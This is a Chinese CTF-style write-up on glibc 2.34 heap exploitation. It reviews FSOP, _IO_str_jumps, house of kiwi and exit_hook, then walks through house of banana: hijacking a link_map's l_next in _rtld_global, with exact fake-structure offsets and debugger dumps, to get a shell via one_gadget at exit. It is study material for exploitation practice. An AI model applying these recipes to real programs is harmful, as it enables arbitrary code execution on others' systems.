# Glibc 高版本

# 前言:

​ 本文旨在讲述在 glibc 2.34ubuntu 高版本下(2.34-0ubuntu3.2)的一些利用手法是否依旧可以使用。会对某些手法进行概括,并没有对其进行深入透彻的讲述。感兴趣的朋友可以自行学习,最后详细介绍了 house of banana.

我只是站在了前任师傅的高台上,为大家进行一些总结分析。

​ 前不久打算深入的去了解在 2.34 以及 2.35 这两个较高版本的 glibc 的堆漏洞的利用。

# 2.34 (2.35) 如何利用

# 一些对比

2.34 与 2.35 其实非常接近,一般情况下,我们利用的手法也都是一致的,除了继承了 2.29 以来 的各种保护机制,2.34 开始最大的特点,就是删除了__free_hook

__malloc_hook

__realloc_hook

__memalign_hook

__after_morecore_hook

这几个常用的钩子函数,而我们最常用的 malloc_hook 以及 free_hook 被完全的禁止了(虽然我们依旧可以在程序中找到对应的符号,但是相关的函数不在对其进行调用),我们只能另寻出路。其实在 2.29 以后的版本中,很多手法都已经失效了,我们常用的无外乎就是劫持程序执行流,以及输入输出流。在 2.23 的版本中,我们是可以修改 vtable,但是 2.24 后就禁止修改,以及再到后面的一些版本还会检查我们的 vtable 是否在允许的范围中(所有的 vtable 储存在一个数组中,以__start_libc_IO_vtables 开始,__stop_libc_IO_vtables 结束)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

但是,在 2.34 的早期版本又是可以写的(glibc-2.34-0ubuntu1_amd64)

p1

这个时候我们可以尝试攻击 vtable 结构体,达到 getshell 的目的。

但是在后面的几次更新中,又将修复了这个漏洞,在 (Ubuntu GLIBC 2.34-0ubuntu3.2) 2.34 版本中,就不可以修改(目前已知在 2.340ubuntu3 版本以及之前的版本依旧有可写的权限)

p2

我们可以找到很多关于如何绕过 vtable check 的办法进行劫持 IO 流,其中最主流的还是利用 _IO_str_jumps 和 _IO_wstr_jumps 两个虚表,

二者利用几乎一样。我们在源码 /libio/strops.c 可以看到相关的 vatable 的内容,以下我以_IO_str_jumps 作主要说明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

这里面有两个很有用的函数

JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),

相关源码如下

# _IO_str_finish

1
2
3
4
5
6
7
8
9
10
//Glibc 2.34
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

这里我们值得注意的是_IO_str_finish,在之前版本中,函数中其实是存在任意函数执行的漏洞的

1
2
3
4
5
6
7
8
9
10
//Glibc 2.31
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //我们控制 _free_buffer 为目标函数,就达到了任意执行
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

但是在新版本的函数中,将这部分删除了,所以我们无法通过这里 getshell.

# _IO_str_overflow

2.34 对比之前的版本,这里并没有太大的变化,但是因为没有了 free_hook 事情变得不容乐观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

​ 2.34 前的版本中,我们在利用 FSOP 劫持_IO_list_all 的值来伪造链表和其中的 IO_FILE 项。

​ 当程序执行 exit 函数,或者从 main 函数返回时,会执行调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
因而当设置 stdout 对应的_IO_FILE 对应的 vtable 为 _IO_str_jumps
执行 exit 就会执行,_IO_str_overflow,

利用思路是根据这里面连续的 malloc,memcpy,free,通过控制、伪造 IO_FILE,我们要伪造一个 fake_chunk, 使得函数调用 malloc 时可以得到 fake_chunk, 然后再 fake_chunk 写入我们的数据(来自_IO_buf_base),一般我们把 free_hook 作为 fake_chunk 进行攻击,(这也是攻击陈工的前提),将 free_hook 覆盖为 system, 执行 system ("/bin/sh"). 这里我们布置的时 fake_chunk 的用户区域为 free_hook-0x10, 这样,_IO_buf_base 的前 8 字节为”/bin/sh\x00“, 接下来的 8 字节时 system 的地址,这样 free (fake_chunk) ===>system (fakechunk), 完成了 free_hook 的覆盖以及 getshell。

# house of kiwi

当程序没有显示调用 exit,也不会通过主函数返回,那么以往我们使用的 FSOP 就无法进行了,如果此时两个 hook 也没法利用,我们需要一种能够稳定触发 IO 中函数的路径,这就是 house of kiwi, 它利用了__malloc_assert.

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

从源码中可以看到这个断言中调用了 fflush (stderr),这个函数会稳定的调用_IO_file_jumps 中的 sync
在 house of kiwi 中,如果我们能实现一个任意地址写,那么就可以修改 sync 指针,并且在调用的时候还发现,rdx 也很稳定的是 IO_helper_jumps,此时如果我们通过任意地址写将 sync 指针改成 IO_helper_jumps,且将 IO_helper_jumps+0xa0 和 IO_helper_jumps+0xa8 改写,就可以实现栈迁移 orw。在更新的版本中,相关的虚表已经不可以写了。

# 小结:

但是这些 2.34 更新的版本中(比如 glibcubuntu3.2)下都失效了,因为没有了 free_hook,也就没有了上述的一系列手法,而且以上依赖 fflush () 函数,通常我们需要利用 exit 函数来执行该调用。到此我们宣告上述利用手法,失效。但是比赛目前还没有变态到这种程度,常见的还是 2.34 的早期版本上述手法部分依旧可以实现。

# 解决方案

难道 pwn 到此就结束了吗?我们回头梳理下,以上攻击方式失败的原因,无外乎就是没有了 hook 函数以及 vtable 不可写。但是我们回到最开始学习 pwn,其实最简单的还是 rop, 在高版本中我们是否可以结合 stack 与 heap 的攻击?或者我们是否还有其他的办法劫持程序的控制流?

# house of banana

house of banana 是 ha1vk 师傅在 2020 年总结出来的利用链。不同于_IO_IO_str 和_overflow,_IO_str_overflow。banana 攻击的是 rtld_global 结构体中的 link_map 指针,

攻击的位置 houm 是在程序结束后调用 exit,或者程序由 libc_start_main 启动,并且主函数可以正常结束返回。(这里提到了 exit,不得不提一下以往的攻击 exit_hook,配合 onegadget 获得 shell,目前为止,到 glibc2.34ubuntu3 依旧可以利用,但是在 3.2 版本下该地址没有了可写权限,所以失效了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//2.34 0ubuntu3.2
RAX 0x1
RBX 0x7ffff7fad9f8 (__elf_set___libc_atexit_element__IO_cleanup__) —▸ 0x7ffff7e26b10 (_IO_cleanup) ◂— endbr64
RCX 0x0
RDX 0x1
RDI 0x555555558148 ◂— 0x0
```
0x7ffff7ddd58f <__run_exit_handlers+431> nop
0x7ffff7ddd590 <__run_exit_handlers+432> call qword ptr [rbx] <_IO_cleanup>
rdi: 0x555555558148 ◂— 0x0
rsi: 0x0
rdx: 0x1
rcx: 0x0
```
pwndbg> vmmap 0x7ffff7fad9f8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff7fad000 0x7ffff7fb1000 r--p 4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x9f8
pwndbg> x 0x7ffff7fad9f8
0x7ffff7fad9f8 <__elf_set___libc_atexit_element__IO_cleanup__>: 0xf7e26b10

house of banana 相较于以往的攻击手法,其实思路很明确。在程序通过显式调用 exit,或者 main 函数是由__libc_start_main 唤起,并可以正常的返回时,由于动态链接的加载机制,程序中并没有 exit 函数的真实调用,而是要通过符号表来获得真实的函数地址。(有关动态链接延迟绑定的技术,还请自行查阅,这里不做过多的阐述。)我们联想到 ret2_dl_resolve 技术。

下面是 exit 执行的一个过程

# exit -> _dl_fini ->((fini_t) array[i]) ();

​ banana 手法,通过伪造修改相关的表项,以达到调用后门来获得权限。这里我们重点说一下,在 ubuntu3.2 下利用的可行性。大多数师傅对于 banana 的攻击方式主要有两种,一是攻击_rtld_global 这个全局符号所保存的 link_map 的链表。伪造整个链表,进行劫持。相关的全局变量是可以写的。后面会解释这个变量的用处。

p3

另外一个与之相比破坏性比较小,更容易成功。由于 link_map 通过链表链接,但是在加载 exit 的时候,相关函数智慧通过 link_map->l_next 指针进行相关的检查。我们可以在某个特定的位置,更改 next 指针,将下一以链表节点转为我们控制的地方,比如 heap 上。

​ 很多朋友看了上面的可能会比较蒙,下面我具体说一参数。

关于 link_map, 我们攻击 exit 时,会使用到一个 link_map 的链表,链表的一些信息保存在 struct rtld_global 结构体中,这个结构体信息很多,很繁杂,但是 banana 只用到了几个关键的点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> p &_rtld_global
$1 = (struct rtld_global *) 0x7f56e43b9040 <_rtld_global>
//以下是结构体信息的展开,pwndbg为我们做了整理
pwndbg> p _rtld_global
$2 = {
_dl_ns = {{
_ns_loaded = 0x7f56e43ba220, //#1
_ns_nloaded = 4, //#2
_ns_main_searchlist = 0x7f56e43ba4e0,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
libc_map = 0x7f56e4382000,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
__align = 0
}
....
//展开数据会很多,但是只是对链表个节点信息的汇总

我们需要关注的是,

​ #1,_ns_loaded = 0x7f56e43ba220, 这是整个链表的头节点,

​ #2, _ns_nloaded = 4, 这里知名个这个链表的节点个数,在 exit 后面加载的检查中,会要求_ns_nloaded 链表的节点不少于 3 个

(后面我会给出相关的源码)

然后对于每个节点,都是 link_map 结构体,我们利用第一个节点做一下简单说明 (省略了部分无关的数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> p *(struct link_map *)0x7f56e43ba220
$3 = {
l_addr = 94172888551424,
l_name = 0x7f56e43ba7c8 "",
l_ld = 0x55a655922000,
l_next = 0x7f56e43ba7d0, //#3
l_prev = 0x0,
l_real = 0x7f56e43ba220, //#3
l_ns = 0,
l_libname = 0x7f56e43ba7b0,
l_info = {0x0, 0x55a655922010, 0x55a6559220f0, 0x55a6559220e0, 0x0, 0x55a655922090, 0x55a6559220a0, 0x55a655922120, 0x55a655922130, 0x55a655922140, 0x55a6559220b0, 0x55a6559220c0, 0x55a655922020, 0x55a655922030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922100, 0x55a6559220d0, 0x0, 0x55a655922110, 0x55a655922160, 0x55a655922040, 0x55a655922060, 0x55a655922050, 0x55a655922070, 0x55a655922000, 0x55a655922150, 0x0, 0x0, 0x0, 0x0, 0x55a655922180, 0x55a655922170, 0x0, 0x0, 0x55a655922160, 0x0, 0x55a6559221a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55a655922190, 0x0 <repeats 25 times>, 0x55a655922080}, //#4
l_phdr = 0x55a65591d040,
......
l_direct_opencount = 1,
l_type = lt_executable,
l_relocated = 1,
l_init_called = 1, //#5
l_global = 1,
......
}

我们需要关注的:

​ #3,l_next = 0x7f56e43ba7d0, ,指向下一个 link_map 的指针,我们就是通过修改这个,将下一个节点劫持为我们伪造的 link_map

​ #4 , l_real = 0x7f56e43ba220 , 指向的的自身的地址,这里也是后面需要检查的地方。

​ #5, l_init_called = 1, 简单说,就是为了绕过检查。

下面是_dl_fini 函数的源码(我已经删除了部分注释及代码,源码路径为 glibc2.34/elf/dl-fini。c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

__rtld_lock_unlock_recursive (GL(dl_load_lock));

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表

if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}

....
}

总结下我们需要绕过那些检查

  1. 判断 _ns_loaded 链表中至少有三个节点(dl-fini 开始部分通过循环遍历链表,做检查,)

  2. 检查 l == l->l_real

  3. 检查 l->l_init_called > 8 这个其实跟数据的处理有关

    1
    2
    3
    4
    5
    6
    7
    unsigned int l_relocated:1;	/* Nonzero if object's relocations done.  */
    unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
    unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
    unsigned int l_reserved:2; /* Reserved for internal use. */
    unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
    to by `l_phdr' is allocated. */
    unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in

    在 lunk_map 结构体中,这个变量是 4 字节,与结构体开始位置的偏移量为 0x31c。pwndbg 帮我们解释了数据的结果,这里的数据要大于 8,我们不妨之际设置为 9. 不同节点可以有所差异,下面是一个结果为 1 的数据

    p4

    以及一个不为 1 的数据

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    pwndbg> p *(struct link_map *)0x7f56e43ba7d0
    $5 = {
    l_addr = 140725148598272,
    l_name = 0x7ffd207e4371 "linux-vdso.so.1",
    l_ld = 0x7ffd207e43e0,
    l_next = 0x7f56e4382000,
    l_prev = 0x7f56e43ba220,
    l_real = 0x7f56e43ba7d0,
    ...
    l_relocated = 1,
    l_init_called = 0,
    l_global = 0,
    ...
    pwndbg> x/wx 0x7f56e43ba7d0+0x31c
    0x7f56e43baaec: 0x00000005
    pwndbg>

  4. 检查 l->l_info[DT_FINI_ARRAY] != NULL ,unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val

​ DT_FINI_ARRAY 宏定义为 26,DT_FINI_ARRAYSZ 宏定义为 28,所以 l_info [26], 以及 l_info [28] 不能是 null (28 是因为 i 会影响到函数 ((fini_t) array [i]) (); 调用)

下面我们具体说说如何伪造,我选择利用修改第三节点的 l_next 指针,指向一个 chunk, 并在 chunk 上部署我们伪造的 link_map. 这里依赖任意地址写,可通过 largebin attack 实现,或者其他漏洞造成的可以任意地址写堆地址。第三节点的指针在哪?_rtld_global 符号并不在 libc 文件,而是在 ld.so 文件中,我们要泄露出程序的 ld 基址,pwndbg 为我们提供了一个函数求偏移量

1
2
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7f56e43b9040->0x7f56e4382018 is -0x37028 bytes (-0x6e05 words)

由此我们就知道了需要向哪里写入 chunk.

接下来就是重点,我们如何伪造 link_map.

因为原来的链表中只有 4 个节点,而我们伪造的 link_map 有恰是第四个,所以,l_next 就是 0,l_prve 无所谓,直接写 0 即可。l_real 就是我们的伪造的 link_map 的开始地址,也是我们修改后的第三节点的 l_next 的值。这几个值离 link_map 的首地址很近,可以很直接的看出偏移量。接下来就是 l_info 的伪造。l_info [26] 不为 0,这是结构体内的数组,distance 可以得到 info [26] info [28] 关于节点地址的偏移量,同样我们可以得到上面提到的 l_init_called 的偏移量

1
2
3
4
5
6
7
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_info[26]
0x7f56e43ba220->0x7f56e43ba330 is 0x110 bytes (0x22 words)
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_info[28]
0x7f56e43ba220->0x7f56e43ba340 is 0x120 bytes (0x24 words)
pwndbg> distance _rtld_global._dl_ns._ns_loaded &_rtld_global._dl_ns._ns_loaded->l_init_called
0x7f56e43ba220->0x7f56e43ba53c is 0x31c bytes (0x63 words)

重点来了,info 这连个位置我们写入什么数据

1
2
3
4
5
6
7
8
9
10
11
  l_info = {0x0, 0x41, 0x0, 0x55a656f072f8, 0x8, 0x7f56e4244cec <__execvpe+652>, 0xa, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x55a656f072e0, 0x0, 0x55a656f072e8, 0xa, 0x0, 0x41, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x0, 0x0, 0x0},


//
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置

这是一个比较通用的 info,0x7f56e4244cec <__execvpe+652> 是我们想要执行的函数。

我们再看源码的相关部分,正常情况下,exit 使用的就是第四个节点的 l_info 的数据,也就是使用我们伪造的 info。

sizeof (ElfW (Addr)) = 8,为了方便解释,我们将这里 l->l_info [DT_FINI_ARRAYSZ] 的数据记为 ptr,ptr->d_un.d_ptr, 其实就是 ptr+0x8 所指向的数据。ptr 是我们要伪造的数据,他是堆中的一个可控制的位置。我们想要执行一次就可以获得 shell,我们不妨让 i =1, 然后我们需要在 ptr+8 的位置写入的就是 1*8=8

我们还要确定的是 arry 数组。(l->l_addr+ l->l_info [DT_FINI_ARRAY]->d_un.d_ptr);

l->addr 其实就是我们伪造的 link_map 开始的位置,个人喜欢将这里写为 0,然后将 l_info [26] 写入另外一个地址,两者加起来就是数组的初始位置。我们记录这个地址为 ptr_a, 这个就会给 arry 赋值,然后 arry [i] ====>> 就是调用 ptr_a +8*i 位置的函数。也就是我们的后门。

提供一个构造的布局,

fake+0x110 写入一个 ptr_a,且 ptr_a+0x8 处有 ptr,ptr 处写入的是最后要执行的函数地址.

fake+0x120 写入一个 ptr,且 ptr+0x8 处是 i*8

我选择的是 fake+0x110 写入 fake+0x40 ,在 fake+0x48 写入 fake+0x58 ,在 fake+0x58 写入 shell

我选择在 fake+0x120 写入 fake+0x48 ,在 fake+0x50 处写入 8.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> tel 0x55a656f072a0(fake) 40
00:00000x55a656f072a0 ◂— 0x0 //l_addr
... ↓ 4 skipped
05:00280x55a656f072c8 —▸ 0x55a656f072a0 ◂— 0x0 //l_real
06:00300x55a656f072d0 ◂— 0x0
07:00380x55a656f072d8 ◂— 0x41
08:00400x55a656f072e0 ◂— 0x0
09:00480x55a656f072e8 —▸ 0x55a656f072f8 —▸ 0x7f56e4244cec (execvpe+652) ◂— mov rdx, r12
0a:00500x55a656f072f0 ◂— 0x8
0b:00580x55a656f072f8 —▸ 0x7f56e4244cec (execvpe+652) ◂— mov rdx, r12
0c:00600x55a656f07300 ◂— 0xa /
0d:00680x55a656f07308 ◂— 0x0
0e:00700x55a656f07310 ◂— 0x0
0f:00780x55a656f07318 ◂— 0x41
10:00800x55a656f07320 ◂— 0x0
... ↓ 6 skipped
17:00b8│ 0x55a656f07358 ◂— 0x41
18:00c0│ 0x55a656f07360 ◂— 0x0
... ↓ 6 skipped
1f:00f8│ 0x55a656f07398 ◂— 0x41
20:01000x55a656f073a0 ◂— 0x0
21:01080x55a656f073a8 ◂— 0x0
22:01100x55a656f073b0 —▸ 0x55a656f072e0 //l_info[26]
23:01180x55a656f073b8 ◂— 0x0
24:01200x55a656f073c0 —▸ 0x55a656f072e8 //l_info[28]
25:01280x55a656f073c8 ◂— 0xa
26:01300x55a656f073d0 ◂— 0x0
27:01380x55a656f073d8 ◂— 0x41

最后我们就是利用 onegadget 获得 shell 了。

利用 gdb 万能必挂点,结合 one_gadget 工具帮助我们快速找到合适的 one_gadget

p5

# 一些注意点:

​ 因为_rtld_global 这个符号是存在与 ld.so 文件中,往往出题人不会给出 ld.so 文件,,rtld_global_ptr 与 libc_base 的偏移在本地与远程并不是固定的,可能会在地址的第 2 字节处发生变化,因此可以爆破 256 种可能得到远程环境的精确偏移

# 总结:

​ 本文主要就是介绍我们常用的手法,在高版本的利用情况,主要关注的是在较新版本 Glibc-2.34 0ubuntu3.2 的可行性。因为 2.34 主要问题还是在于一些 hook 函数被禁止,以及对_IO_str_finish、_IO_str_overflow 变化的影响,导致我们可以利用的点是在是很少了。但是这其实对于各位 ctfer 来讲,因为方法很少,导致攻击手法比较的单一,只有那么几个可以使用。在 3.2 版本之前,我们依旧可以通过修改 vtable 劫持控制流,或者攻击’exit_hook’(这个叫法可能会不太严谨,因为并不是一个 hook 的符号,而是其他的符号)。house of kiwi, 攻击 exit_hook 依旧是可以实现,且比较方便的。

​ 后面我这里主要介绍了 house of banana, 这项技术,依旧是用于 3.2,并且向下兼容。简要概括,就是修改第三个节点的 l_next 为堆地址 fake,并在该堆上伪造第四个节点。

伪造 link_map

  1. ​ *(fake+0x28)=fake。
  2. ​ *(fake +0x48)=fake+0x58, *(fake+0x50) = 0x8
  3. ​ *(fake+0x58) = shell
  4. ​ *(fake+0x110) = fake+0x40
  5. ​ *(fake+0x120) = fake+0x48
  6. ​ (int)*(fake+0x31c) = 0x9

最后笔者在这里提出一个未完成的验证,house of emma 在 3.2 版本下的利用.

​ 因为个人实力依旧比较菜,文章出可能会出现错误及不足,欢迎斧正。也希望能和对此文感兴趣的师傅进一步交流关于新版本的利用姿势。

​ [参考]:

​ 想到验证各种姿势,感谢 ru7n 师傅

​ 3.2 下攻击 exit_hook 的思考,感谢 Ayaka 师傅

​ house of banana 的最初构想 感谢 ha1vk 师傅